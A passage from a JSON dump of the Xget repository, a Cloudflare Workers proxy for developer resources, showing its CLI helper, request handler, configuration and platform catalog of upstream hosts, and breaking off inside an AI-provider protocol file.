heading.raw;\n}\n\n/**\n * @param {string[]} lines\n * @param {MarkdownHeading} heading\n * @returns {string}\n */\nfunction sliceMarkdownSection(lines, heading) {\n  let endIndex = lines.length;\n  let inCodeFence = false;\n\n  for (let index = heading.index + 1; index < lines.length; index += 1) {\n    if (isCodeFenceDelimiter(lines[index])) {\n      inCodeFence = !inCodeFence;\n      continue;\n    }\n\n    if (inCodeFence) {\n      continue;\n    }\n\n    const candidate = parseMarkdownHeading(lines[index]);\n    if (candidate && candidate.level <= heading.level) {\n      endIndex = index;\n      break;\n    }\n  }\n\n  return lines.slice(heading.index, endIndex).join('\\n').trimEnd();\n}\n\n/**\n * @param {string[]} lines\n * @param {string} heading\n * @returns {MarkdownHeading}\n */\nfunction findUniqueHeading(lines, heading) {\n  const headings = collectMarkdownHeadings(lines);\n  const query = normalizeHeadingQuery(heading);\n  const matches = headings.filter(candidate => normalizeHeadingQuery(candidate.text) === query);\n\n  if (matches.length === 0) {\n    fail(`Could not find README heading \"${heading}\".`);\n  }\n\n  if (matches.length > 1) {\n    fail(\n      `Heading \"${heading}\" matched multiple sections: ${matches.map(formatHeadingLabel).join('; ')}`\n    );\n  }\n\n  return matches[0];\n}\n\n/**\n * @param {MarkdownHeading[]} headings\n * @param {string | undefined} match\n * @returns {MarkdownHeading[]}\n */\nfunction filterHeadingsByMatch(headings, match) {\n  if (!match) {\n    return headings;\n  }\n\n  const query = match.trim().toLowerCase();\n\n  return headings.filter(heading => {\n    const haystacks = [heading.text, heading.raw, heading.parent ?? ''];\n    return haystacks.some(value => value.toLowerCase().includes(query));\n  });\n}\n\n/**\n * @param {string} markdown\n * @param {number} [minLevel]\n * @param {number} [maxLevel]\n * @returns {MarkdownHeading[]}\n */\nexport function listMarkdownHeadings(markdown, minLevel = 2, maxLevel = 6) {\n  const lines = markdown.split(/\\r?\\n/);\n\n  return collectMarkdownHeadings(lines)\n    .map(heading => ({\n      ...heading,\n      parent: heading.level <= minLevel ? null : heading.parent\n    }))\n    .filter(heading => heading.level >= minLevel && heading.level <= maxLevel);\n}\n\n/**\n * @param {string} markdown\n * @param {string} heading\n * @returns {MarkdownHeading}\n */\nexport function resolveMarkdownHeading(markdown, heading) {\n  return findUniqueHeading(markdown.split(/\\r?\\n/), heading);\n}\n\n/**\n * @param {string} markdown\n * @param {string} heading\n * @returns {string}\n */\nexport function extractMarkdownSection(markdown, heading) {\n  const lines = markdown.split(/\\r?\\n/);\n  const resolvedHeading = findUniqueHeading(lines, heading);\n  return sliceMarkdownSection(lines, resolvedHeading);\n}\n\n/**\n * @param {string} baseUrl\n * @param {string} markdownSection\n * @returns {string}\n */\nexport function rewriteUseCasesBaseUrl(baseUrl, markdownSection) {\n  const host = new URL(baseUrl).host;\n\n  return markdownSection\n    .replaceAll(DEFAULT_PUBLIC_BASE_URL, baseUrl)\n    .replaceAll(DEFAULT_PUBLIC_HOST, host);\n}\n\n/**\n * @param {string} useCasesMarkdown\n * @param {string | undefined} heading\n * @param {string | undefined} match\n * @returns {{ heading: string, content: string }}\n */\nexport function selectUseCaseSection(useCasesMarkdown, heading, match) {\n  if (heading && match) {\n    fail('Use either --heading or --match for snippet, not both.', 2);\n  }\n\n  if (!heading && !match) {\n    return {\n      heading: README_USE_CASES_HEADING,\n      content: useCasesMarkdown\n    };\n  }\n\n  const lines = useCasesMarkdown.split(/\\r?\\n/);\n\n  if (heading) {\n    const resolvedHeading = findUniqueHeading(lines, heading);\n\n    return {\n      heading: resolvedHeading.raw,\n      content: sliceMarkdownSection(lines, resolvedHeading)\n    };\n  }\n\n  const matchedHeadings = filterHeadingsByMatch(\n    listMarkdownHeadings(useCasesMarkdown, 3, 4),\n    match\n  );\n\n  if (matchedHeadings.length === 0) {\n    fail(`Could not find a README Use Cases heading matching \"${match}\".`, 2);\n  }\n\n  if (matchedHeadings.length > 1) {\n    fail(\n      `Match \"${match}\" was ambiguous. Candidates: ${matchedHeadings.map(formatHeadingLabel).join('; ')}`,\n      2\n    );\n  }\n\n  return {\n    heading: matchedHeadings[0].raw,\n    content: sliceMarkdownSection(lines, matchedHeadings[0])\n  };\n}\n\n/**\n * @param {string} baseUrl\n * @param {string} readmeMarkdown\n * @param {{ heading?: string, match?: string }} [options]\n * @returns {UseCasesSnippet}\n */\nexport function createUseCasesSnippet(baseUrl, readmeMarkdown, options = {}) {\n  const useCasesSection = extractMarkdownSection(readmeMarkdown, README_USE_CASES_HEADING);\n  const selectedSection = selectUseCaseSection(useCasesSection, options.heading, options.match);\n\n  return {\n    section: 'use-cases',\n    heading: selectedSection.heading,\n    baseUrl,\n    content: rewriteUseCasesBaseUrl(baseUrl, selectedSection.content)\n  };\n}\n\n/**\n * @param {unknown} value\n * @returns {void}\n */\nfunction renderJson(value) {\n  console.log(JSON.stringify(value, null, 2));\n}\n\n/**\n * @param {PlatformEntry[]} rows\n * @returns {void}\n */\nfunction renderTable(rows) {\n  /** @type {Array<keyof PlatformEntry>} */\n  const headers = ['key', 'category', 'pathPrefix', 'upstream'];\n  const widths = headers.map(header =>\n    Math.max(header.length, ...rows.map(row => String(row[header]).length))\n  );\n\n  /**\n   * @param {Record<string, string>} row\n   * @returns {string}\n   */\n  const formatRow = row =>\n    headers.map((header, index) => String(row[header]).padEnd(widths[index])).join('  ');\n\n  console.log(formatRow(Object.fromEntries(headers.map(header => [header, header]))));\n  console.log(widths.map(width => '-'.repeat(width)).join('  '));\n  rows.forEach(row => console.log(formatRow(row)));\n}\n\n/**\n * @param {UseCasesSnippet['content']} content\n * @returns {void}\n */\nfunction renderTextContent(content) {\n  console.log(content);\n}\n\n/**\n * @param {MarkdownHeading[]} headings\n * @returns {void}\n */\nfunction renderTextHeadings(headings) {\n  headings.forEach(heading => {\n    if (heading.parent) {\n      console.log(`${heading.text} (under ${heading.parent})`);\n      return;\n    }\n\n    console.log(heading.text);\n  });\n}\n\n/**\n * @param {CliOptions} options\n * @param {string} key\n * @returns {string | undefined}\n */\nfunction getStringOption(options, key) {\n  const value = options[key];\n  return typeof value === 'string' ? value : undefined;\n}\n\nasync function main() {\n  const { command, options } = parseArgs(process.argv.slice(2));\n\n  if (options.help || command === 'help') {\n    printHelp();\n    return;\n  }\n\n  const sourceUrl = getStringOption(options, 'source-url') ?? DEFAULT_SOURCE_URL;\n  const format = getStringOption(options, 'format') ?? 'json';\n\n  if (command === 'platforms') {\n    const platforms = await loadPlatforms(sourceUrl);\n    if (format === 'json') {\n      renderJson({\n        sourceUrl,\n        count: platforms.length,\n        platforms\n      });\n      return;\n    }\n\n    if (format === 'table') {\n      renderTable(platforms);\n      return;\n    }\n\n    fail('Unsupported --format for platforms. Use json or table.', 2);\n  }\n\n  if (command === 'convert') {\n    const baseUrl =\n      resolveBaseUrl(getStringOption(options, 'base-url'), process.env.XGET_BASE_URL) ??\n      fail(MISSING_BASE_URL_HINT, 2);\n\n    const rawUrl = getStringOption(options, 'url');\n    if (!rawUrl) {\n      fail('Missing --url for convert.', 2);\n    }\n\n    const originUrl = normalizeAbsoluteUrl(rawUrl, '--url');\n    const platforms = await loadPlatforms(sourceUrl);\n    const platform = findPlatformForUrl(platforms, originUrl);\n\n    if (!platform) {\n      fail(`No current Xget platform matched upstream origin ${originUrl.origin}.`, 3);\n    }\n\n    const convertedUrl = buildConvertedUrl(baseUrl, platform, originUrl);\n    const payload = {\n      sourceUrl,\n      baseUrl,\n      upstreamUrl: originUrl.toString(),\n      matchedPlatform: platform,\n      convertedUrl\n    };\n\n    if (format === 'json') {\n      renderJson(payload);\n      return;\n    }\n\n    if (format === 'text') {\n      console.log(payload.convertedUrl);\n      return;\n    }\n\n    fail('Unsupported --format for convert. Use json or text.', 2);\n  }\n\n  if (command === 'topics') {\n    const readmeUrl = getStringOption(options, 'readme-url') ?? DEFAULT_README_URL;\n    const readmeMarkdown = await httpGet(readmeUrl);\n    const useCasesSection = extractMarkdownSection(readmeMarkdown, README_USE_CASES_HEADING);\n    const topics = filterHeadingsByMatch(\n      listMarkdownHeadings(useCasesSection, 3, 4),\n      getStringOption(options, 'match')\n    );\n    const payload = {\n      sourceUrl: readmeUrl,\n      section: 'use-cases',\n      heading: README_USE_CASES_HEADING,\n      match: getStringOption(options, 'match') ?? null,\n      count: topics.length,\n      topics: topics.map(({ index, ...topic }) => topic)\n    };\n\n    if (format === 'json') {\n      renderJson(payload);\n      return;\n    }\n\n    if (format === 'text') {\n      renderTextHeadings(topics);\n      return;\n    }\n\n    fail('Unsupported --format for topics. Use json or text.', 2);\n  }\n\n  if (command === 'snippet') {\n    const baseUrl =\n      resolveBaseUrl(getStringOption(options, 'base-url'), process.env.XGET_BASE_URL) ??\n      fail(MISSING_BASE_URL_HINT, 2);\n\n    if (getStringOption(options, 'preset')) {\n      fail(\n        '`--preset` is no longer supported. `snippet` now fetches the README Use Cases section.',\n        2\n      );\n    }\n\n    const readmeUrl = getStringOption(options, 'readme-url') ?? DEFAULT_README_URL;\n    const readmeMarkdown = await httpGet(readmeUrl);\n    const snippet = {\n      sourceUrl: readmeUrl,\n      ...createUseCasesSnippet(baseUrl, readmeMarkdown, {\n        heading: getStringOption(options, 'heading'),\n        match: getStringOption(options, 'match')\n      })\n    };\n\n    if (format === 'json') {\n      renderJson(snippet);\n      return;\n    }\n\n    if (format === 'text') {\n      renderTextContent(snippet.content);\n      return;\n    }\n\n    fail('Unsupported --format for snippet. Use json or text.', 2);\n  }\n\n  fail(`Unknown command \"${command}\". Use --help for supported commands.`, 2);\n}\n\nconst entryHref = process.argv[1] ? pathToFileURL(process.argv[1]).href : null;\n\nif (entryHref === import.meta.url) {\n  main().catch(error => fail(getErrorMessage(error)));\n}\n"
  },
  {
    "path": "src/app/handle-request.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n */\n\nimport { createRequestContext } from './request-context.js';\nimport {\n  createHomepageRedirect,\n  normalizeEffectivePath,\n  resolveTarget\n} from '../routing/resolve-target.js';\nimport { finalizeResponse } from '../response/finalize-response.js';\nimport { handleDockerAuth } from '../protocols/docker.js';\nimport { getDefaultCache, tryReadCachedResponse } from '../upstream/cache.js';\nimport { fetchUpstreamResponse } from '../upstream/fetch-upstream.js';\nimport { PerformanceMonitor, addPerformanceHeaders } from '../utils/performance.js';\nimport { addCorsHeaders, addSecurityHeaders, createErrorResponse } from '../utils/security.js';\nimport { getAllowedMethods, isProtocolRequest, validateRequest } from '../utils/validation.js';\n\n/**\n * Main request handler with comprehensive caching, retry logic, and security measures.\n * @param {Request} request - The incoming HTTP request\n * @param {Record<string, unknown>} env - Cloudflare Workers environment variables for runtime config overrides\n * @param {ExecutionContext} ctx - Cloudflare Workers execution context for background tasks\n * @returns {Promise<Response>} The HTTP response with appropriate headers and body\n */\nexport async function handleRequest(request, env, ctx) {\n  let response;\n  const monitor = new PerformanceMonitor();\n  const requestContext = createRequestContext(request, env);\n  const { config, isCorsPreflight, isDocker, url } = requestContext;\n\n  try {\n    if (isCorsPreflight) {\n      const requestedMethod = request.headers.get('Access-Control-Request-Method') || '';\n      const allowedMethods = getAllowedMethods(\n        new Request(request.url, { method: requestedMethod || 'GET' }),\n        url,\n        config\n      );\n\n      if (!allowedMethods.includes(requestedMethod)) {\n        response = createErrorResponse('Method not allowed', 405);\n      } else {\n        const headers = addCorsHeaders(new Headers(), request, config);\n        if (!headers.has('Access-Control-Allow-Origin')) {\n          response = createErrorResponse('Origin not allowed', 403);\n        } else {\n          headers.set('Access-Control-Allow-Methods', allowedMethods.join(', '));\n          headers.set('Access-Control-Max-Age', '86400');\n          addSecurityHeaders(headers);\n          response = new Response(null, { status: 204, headers });\n        }\n      }\n    }\n\n    // Handle Docker API version check\n    else if (isDocker && (url.pathname === '/v2/' || url.pathname === '/v2')) {\n      const headers = new Headers({\n        'Docker-Distribution-Api-Version': 'registry/2.0',\n        'Content-Type': 'application/json'\n      });\n      addSecurityHeaders(headers);\n      response = new Response('{}', { status: 200, headers });\n    }\n    // Redirect root path or invalid platforms to GitHub repository\n    else if (url.pathname === '/' || url.pathname === '') {\n      response = createHomepageRedirect();\n    } else {\n      const validation = validateRequest(request, url, config, requestContext);\n      if (!validation.valid) {\n        response = createErrorResponse(\n          validation.error || 'Validation failed',\n          validation.status || 400\n        );\n      } else {\n        const normalizedPath = normalizeEffectivePath(url, isDocker);\n        let effectivePath = url.pathname;\n\n        if ('response' in normalizedPath) {\n          const { response: normalizedResponse } = normalizedPath;\n          response = normalizedResponse;\n        } else {\n          const { effectivePath: normalizedEffectivePath } = normalizedPath;\n          effectivePath = normalizedEffectivePath;\n        }\n\n        if (!response) {\n          // Handle Docker authentication explicitly\n          if (\n            isDocker &&\n            (url.pathname === '/v2/auth' || /^\\/cr\\/[^/]+\\/v2\\/auth\\/?$/.test(url.pathname))\n          ) {\n            response = await handleDockerAuth(request, url, config);\n          } else {\n            const resolvedTarget = resolveTarget(url, effectivePath, config.PLATFORMS);\n\n            if ('response' in resolvedTarget) {\n              const { response: targetResponse } = resolvedTarget;\n              response = targetResponse;\n            } else {\n              const { cacheTargetUrl, platform, targetUrl } = resolvedTarget;\n              const authorization = request.headers.get('Authorization');\n              const hasSensitiveHeaders = Boolean(\n                authorization ||\n                request.headers.get('Cookie') ||\n                request.headers.get('Proxy-Authorization')\n              );\n              const canUseCache = request.method === 'GET' || request.method === 'HEAD';\n              const shouldPassthroughRequest = isProtocolRequest(requestContext) || !canUseCache;\n              const cache = getDefaultCache();\n\n              response = await tryReadCachedResponse({\n                cache,\n                cacheTargetUrl,\n                canUseCache,\n                hasSensitiveHeaders,\n                monitor,\n                request,\n                requestContext\n              });\n\n              if (!response) {\n                const {\n                  response: upstreamResponse,\n                  responseGeneratedLocally: upstreamResponseGeneratedLocally\n                } = await fetchUpstreamResponse({\n                  authorization,\n                  canUseCache,\n                  config,\n                  effectivePath,\n                  monitor,\n                  platform,\n                  request,\n                  requestContext,\n                  shouldPassthroughRequest,\n                  targetUrl\n                });\n                response = await finalizeResponse({\n                  cache,\n                  cacheTargetUrl,\n                  canUseCache,\n                  config,\n                  ctx,\n                  effectivePath,\n                  hasSensitiveHeaders,\n                  monitor,\n                  platform,\n                  request,\n                  requestContext,\n                  response: upstreamResponse,\n                  responseGeneratedLocally: upstreamResponseGeneratedLocally,\n                  url\n                });\n              }\n            }\n          }\n        }\n      }\n    }\n  } catch (error) {\n    console.error('Error handling request:', error);\n    response = createErrorResponse('Internal Server Error', 500);\n  }\n\n  // Ensure performance headers are added to the final response\n  monitor.mark('complete');\n\n  const responseWithCors = (() => {\n    const headers = addCorsHeaders(new Headers(response.headers), request, config);\n    return new Response(response.body, {\n      status: response.status,\n      statusText: response.statusText,\n      headers\n    });\n  })();\n\n  return isProtocolRequest(requestContext)\n    ? responseWithCors\n    : addPerformanceHeaders(responseWithCors, monitor);\n}\n"
  },
  {
    "path": "src/app/request-context.js",
    "content": "import { CONFIG, createConfig } from '../config/index.js';\nimport { getRequestTraits } from '../utils/validation.js';\n\n/**\n * Builds the shared request context used by all runtime adapters.\n * @param {Request} request\n * @param {Record<string, unknown>} env\n * @returns {{\n *   config: import('../config/index.js').ApplicationConfig,\n *   env: Record<string, unknown>,\n *   isAI: boolean,\n *   isCorsPreflight: boolean,\n *   isDocker: boolean,\n *   isGit: boolean,\n *   isGitLFS: boolean,\n *   isHF: boolean,\n *   request: Request,\n *   url: URL\n * }} Request context with parsed config, URL, and protocol traits.\n */\nexport function createRequestContext(request, env) {\n  const runtimeEnv = env && typeof env === 'object' ? env : {};\n  const config = env === undefined ? CONFIG : createConfig(runtimeEnv);\n  const url = new URL(request.url);\n  const traits = getRequestTraits(request, url);\n\n  return {\n    ...traits,\n    config,\n    env: runtimeEnv,\n    isCorsPreflight:\n      request.method === 'OPTIONS' &&\n      request.headers.has('Origin') &&\n      request.headers.has('Access-Control-Request-Method'),\n    request,\n    url\n  };\n}\n"
  },
  {
    "path": "src/config/index.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\nimport { PLATFORMS } from './platform-catalog.js';\n\n/**\n * Security-related configuration options for request validation and CORS.\n * @typedef {object} SecurityConfig\n * @property {string[]} ALLOWED_METHODS - List of allowed HTTP methods for incoming requests\n * @property {string[]} ALLOWED_ORIGINS - List of allowed CORS origins (use ['*'] for all origins)\n * @property {number} MAX_PATH_LENGTH - Maximum allowed URL path length in characters\n * @example\n * // Default security config\n * const security = {\n *   ALLOWED_METHODS: ['GET', 'HEAD'],\n *   ALLOWED_ORIGINS: ['*'],\n *   MAX_PATH_LENGTH: 2048\n * };\n * @example\n * // Custom security config with restricted origins\n * const security = {\n *   ALLOWED_METHODS: ['GET', 'HEAD', 'POST'],\n *   ALLOWED_ORIGINS: ['https://example.com', 'https://app.example.com'],\n *   MAX_PATH_LENGTH: 4096\n * };\n */\n\n/**\n * Complete application configuration object with runtime settings.\n *\n * This configuration controls timeout behavior, retry logic, caching, security policies,\n * and platform URL mappings. All values can be overridden via environment variables\n * in Cloudflare Workers.\n * @typedef {object} ApplicationConfig\n * @property {number} TIMEOUT_SECONDS - Request timeout in seconds (default: 30)\n * @property {number} MAX_RETRIES - Maximum number of retry attempts for failed requests (default: 3)\n * @property {number} RETRY_DELAY_MS - Delay between retry attempts in milliseconds (default: 1000)\n * @property {number} CACHE_DURATION - Cache duration in seconds for successful responses (default: 1800)\n * @property {SecurityConfig} SECURITY - Security-related configurations\n * @property {{ [key: string]: string }} PLATFORMS - Platform-specific base URL mappings\n * @example\n * // Default configuration\n * const config = {\n *   TIMEOUT_SECONDS: 30,\n *   MAX_RETRIES: 3,\n *   RETRY_DELAY_MS: 1000,\n *   CACHE_DURATION: 1800,\n *   SECURITY: {\n *     ALLOWED_METHODS: ['GET', 'HEAD'],\n *     ALLOWED_ORIGINS: ['*'],\n *     MAX_PATH_LENGTH: 2048\n *   },\n *   PLATFORMS: { gh: 'https://github.com', ... }\n * };\n * @example\n * // Configuration with environment overrides\n * const env = {\n *   TIMEOUT_SECONDS: '60',\n *   MAX_RETRIES: '5',\n *   CACHE_DURATION: '3600'\n * };\n * const config = createConfig(env);\n * // Results in timeout of 60s, 5 retries, 1 hour cache\n */\n\n/**\n * Creates application configuration with environment variable overrides.\n *\n * This function merges default configuration values with environment-specific overrides\n * provided by Cloudflare Workers. Environment variables are parsed as integers where\n * applicable, and fallback to defaults if parsing fails or values are missing.\n *\n * **Environment variable mapping:**\n * - `TIMEOUT_SECONDS` - Override default timeout (default: 30)\n * - `MAX_RETRIES` - Override max retry attempts (default: 3)\n * - `RETRY_DELAY_MS` - Override retry delay (default: 1000)\n * - `CACHE_DURATION` - Override cache TTL (default: 1800 = 30 minutes)\n * - `ALLOWED_METHODS` - Comma-separated HTTP methods (default: 'GET,HEAD')\n * - `ALLOWED_ORIGINS` - Comma-separated CORS origins (default: '*')\n * - `MAX_PATH_LENGTH` - Override max path length (default: 2048)\n * @param {Record<string, unknown>} env - Environment variables from Cloudflare Workers env object\n * @returns {ApplicationConfig} Complete application configuration with applied overrides\n * @example\n * // Create config with defaults (no environment variables)\n * const config = createConfig();\n * console.log(config.TIMEOUT_SECONDS); // 30\n * console.log(config.CACHE_DURATION); // 1800\n * @example\n * // Create config with environment overrides\n * const env = {\n *   TIMEOUT_SECONDS: '60',\n *   MAX_RETRIES: '5',\n *   CACHE_DURATION: '3600',\n *   ALLOWED_METHODS: 'GET,HEAD,POST,PUT'\n * };\n * const config = createConfig(env);\n * console.log(config.TIMEOUT_SECONDS); // 60\n * console.log(config.MAX_RETRIES); // 5\n * console.log(config.CACHE_DURATION); // 3600 (1 hour)\n * console.log(config.SECURITY.ALLOWED_METHODS); // ['GET', 'HEAD', 'POST', 'PUT']\n * @example\n * // Invalid environment values fallback to defaults\n * const env = {\n *   TIMEOUT_SECONDS: 'invalid',\n *   MAX_RETRIES: 'not-a-number'\n * };\n * const config = createConfig(env);\n * console.log(config.TIMEOUT_SECONDS); // 30 (default)\n * console.log(config.MAX_RETRIES); // 3 (default)\n * @example\n * // Custom CORS origins\n * const env = {\n *   ALLOWED_ORIGINS: 'https://example.com,https://app.example.com'\n * };\n * const config = createConfig(env);\n * console.log(config.SECURITY.ALLOWED_ORIGINS);\n * // ['https://example.com', 'https://app.example.com']\n */\nexport function createConfig(env = {}) {\n  const allowedMethods =\n    typeof env.ALLOWED_METHODS === 'string'\n      ? env.ALLOWED_METHODS.split(',')\n          .map(method => method.trim())\n          .filter(Boolean)\n      : ['GET', 'HEAD'];\n  const allowedOrigins =\n    typeof env.ALLOWED_ORIGINS === 'string'\n      ? env.ALLOWED_ORIGINS.split(',')\n          .map(origin => origin.trim())\n          .filter(Boolean)\n      : ['*'];\n\n  return {\n    TIMEOUT_SECONDS: parseInt(String(env.TIMEOUT_SECONDS), 10) || 30,\n    MAX_RETRIES: parseInt(String(env.MAX_RETRIES), 10) || 3,\n    RETRY_DELAY_MS: parseInt(String(env.RETRY_DELAY_MS), 10) || 1000,\n    CACHE_DURATION: parseInt(String(env.CACHE_DURATION), 10) || 1800, // 30 minutes\n    SECURITY: {\n      ALLOWED_METHODS: allowedMethods.length ? allowedMethods : ['GET', 'HEAD'],\n      ALLOWED_ORIGINS: allowedOrigins.length ? allowedOrigins : ['*'],\n      MAX_PATH_LENGTH: parseInt(String(env.MAX_PATH_LENGTH), 10) || 2048\n    },\n    PLATFORMS\n  };\n}\n\n/**\n * Default application configuration instance.\n *\n * This is a pre-instantiated configuration object using default values with no\n * environment overrides. In production (Cloudflare Workers), you should use\n * `createConfig(env)` instead to allow runtime configuration.\n * @type {ApplicationConfig}\n * @example\n * // Import default config\n * import { CONFIG } from './config/index.js';\n * console.log(CONFIG.TIMEOUT_SECONDS); // 30\n * @example\n * // Check platform availability\n * if (CONFIG.PLATFORMS.npm) {\n *   console.log('npm platform available');\n * }\n */\nexport const CONFIG = createConfig();\n"
  },
  {
    "path": "src/config/platform-catalog.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * Platform base URLs used by request routing.\n * @type {{ [key: string]: string }}\n */\nexport const PLATFORM_CATALOG = {\n  // Code Repositories & Version Control\n  gh: 'https://github.com',\n  gist: 'https://gist.github.com',\n  gl: 'https://gitlab.com',\n  gitea: 'https://gitea.com',\n  codeberg: 'https://codeberg.org',\n  sf: 'https://sourceforge.net',\n  aosp: 'https://android.googlesource.com',\n  hf: 'https://huggingface.co',\n  civitai: 'https://civitai.com',\n\n  // Package Managers\n  npm: 'https://registry.npmjs.org',\n  pypi: 'https://pypi.org',\n  'pypi-files': 'https://files.pythonhosted.org',\n  conda: 'https://repo.anaconda.com',\n  'conda-community': 'https://conda.anaconda.org',\n  maven: 'https://repo1.maven.org',\n  apache: 'https://downloads.apache.org',\n  gradle: 'https://plugins.gradle.org',\n  homebrew: 'https://github.com/Homebrew',\n  'homebrew-api': 'https://formulae.brew.sh/api',\n  'homebrew-bottles': 'https://ghcr.io',\n  rubygems: 'https://rubygems.org',\n  cran: 'https://cran.r-project.org',\n  cpan: 'https://www.cpan.org',\n  ctan: 'https://tug.ctan.org',\n  golang: 'https://proxy.golang.org',\n  nuget: 'https://api.nuget.org',\n  crates: 'https://crates.io',\n  packagist: 'https://repo.packagist.org',\n  flathub: 'https://dl.flathub.org',\n\n  // Linux Distributions\n  debian: 'https://deb.debian.org',\n  ubuntu: 'https://archive.ubuntu.com',\n  fedora: 'https://dl.fedoraproject.org',\n  rocky: 'https://download.rockylinux.org',\n  opensuse: 'https://download.opensuse.org',\n  arch: 'https://geo.mirror.pkgbuild.com',\n\n  // Other Resources\n  arxiv: 'https://arxiv.org',\n  fdroid: 'https://f-droid.org',\n  jenkins: 'https://updates.jenkins.io',\n\n  // AI Inference Providers\n  'ip-openai': 'https://api.openai.com',\n  'ip-anthropic': 'https://api.anthropic.com',\n  'ip-gemini': 'https://generativelanguage.googleapis.com',\n  'ip-vertexai': 'https://aiplatform.googleapis.com',\n  'ip-cohere': 'https://api.cohere.ai',\n  'ip-mistralai': 'https://api.mistral.ai',\n  'ip-xai': 'https://api.x.ai',\n  'ip-githubmodels': 'https://models.github.ai',\n  'ip-nvidiaapi': 'https://integrate.api.nvidia.com',\n  'ip-perplexity': 'https://api.perplexity.ai',\n  'ip-braintrust': 'https://api.braintrust.dev',\n  'ip-groq': 'https://api.groq.com',\n  'ip-cerebras': 'https://api.cerebras.ai',\n  'ip-sambanova': 'https://api.sambanova.ai',\n  'ip-siray': 'https://api.siray.ai',\n  'ip-huggingface': 'https://router.huggingface.co',\n  'ip-together': 'https://api.together.xyz',\n  'ip-replicate': 'https://api.replicate.com',\n  'ip-fireworks': 'https://api.fireworks.ai',\n  'ip-nebius': 'https://api.studio.nebius.ai',\n  'ip-jina': 'https://api.jina.ai',\n  'ip-voyageai': 'https://api.voyageai.com',\n  'ip-falai': 'https://fal.run',\n  'ip-novita': 'https://api.novita.ai',\n  'ip-burncloud': 'https://ai.burncloud.com',\n  'ip-openrouter': 'https://openrouter.ai',\n  'ip-poe': 'https://api.poe.com',\n  'ip-featherlessai': 'https://api.featherless.ai',\n  'ip-hyperbolic': 'https://api.hyperbolic.xyz',\n\n  // Container Registries\n  'cr-docker': 'https://registry-1.docker.io',\n  'cr-quay': 'https://quay.io',\n  'cr-gcr': 'https://gcr.io',\n  'cr-mcr': 'https://mcr.microsoft.com',\n  'cr-ecr': 'https://public.ecr.aws',\n  'cr-ghcr': 'https://ghcr.io',\n  'cr-gitlab': 'https://registry.gitlab.com',\n  'cr-redhat': 'https://registry.redhat.io',\n  'cr-oracle': 'https://container-registry.oracle.com',\n  'cr-cloudsmith': 'https://docker.cloudsmith.io',\n  'cr-digitalocean': 'https://registry.digitalocean.com',\n  'cr-vmware': 'https://projects.registry.vmware.com',\n  'cr-k8s': 'https://registry.k8s.io',\n  'cr-heroku': 'https://registry.heroku.com',\n  'cr-suse': 'https://registry.suse.com',\n  'cr-opensuse': 'https://registry.opensuse.org',\n  'cr-gitpod': 'https://registry.gitpod.io'\n};\n\nexport const PLATFORMS = PLATFORM_CATALOG;\n"
  },
  {
    "path": "src/config/platforms.js",
    "content": "/**\n * Compatibility exports for platform configuration and routing helpers.\n *\n * New code should prefer:\n * - `src/config/platform-catalog.js` for base URL data\n * - `src/routing/platform-index.js` for matching order\n * - `src/routing/platform-transformers.js` for path normalization\n */\nexport { PLATFORM_CATALOG, PLATFORMS } from './platform-catalog.js';\nexport { SORTED_PLATFORMS } from '../routing/platform-index.js';\nexport { transformPath } from '../routing/platform-transformers.js';\n"
  },
  {
    "path": "src/index.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n */\n\nimport { handleRequest } from './app/handle-request.js';\n\nexport { handleRequest } from './app/handle-request.js';\n\nexport default {\n  /**\n   * Main Worker entry point.\n   * @param {Request} request\n   * @param {Record<string, unknown>} env\n   * @param {ExecutionContext} ctx\n   */\n  fetch(request, env, ctx) {\n    return handleRequest(request, env, ctx);\n  }\n};\n"
  },
  {
    "path": "src/protocols/ai.js",
    "content": "/**\n * Xget - High-performance acceleration engine for developer resources\n * Copyright (C) 2025 Xi Xu\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\n\n/**\n * AI Inference protocol handler for Xget\n */\n\n/**\n * Detects if a request is for an AI inference provider API.\n *\n * Identifies AI inference requests by checking for:\n * - AI provider path prefix (/ip/{provider}/...)\n * - Common AI API endpoints (chat, completions, embeddings, etc.)\n * - AI-specific URL patterns with JSON POST requests\n * @param {Request} request - The incoming request object\n * @param {URL} url - Parsed URL object\n * @returns {boolean} True if this is an AI inference request\n */\nexport function isAIInferenceRequest(request, url) {\n  void request;\n  return url.pathname.startsWith('/ip/');\n}\n\n/**\n * Configures headers for AI protocol requests.\n *\n * Sets Content-Type and User-Agent headers for AI inference requests.\n * @param {Headers} headers - The headers object to modify\n * @param {Request} request - The original request\n */\nexport function 